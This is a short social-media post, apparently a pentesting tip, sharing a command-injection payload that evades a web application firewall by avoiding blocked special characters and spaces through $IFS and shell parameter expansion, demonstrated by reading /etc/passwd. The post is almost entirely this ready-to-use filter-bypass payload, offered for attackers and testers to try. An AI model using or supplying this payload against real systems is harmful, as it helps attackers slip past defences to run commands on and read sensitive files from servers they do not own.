If you’ve found an OS command Injection with WAF enabled, special characters like (/”‘&|()-;:.,`) and whitespaces blocked. Try this method to bypass.
–
E.g.: reading /etc/passwd file:
cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??
–
Credit: Aysar Harb
–
#cybersecurity #pentesting https://t.co/aUEI05R2ZA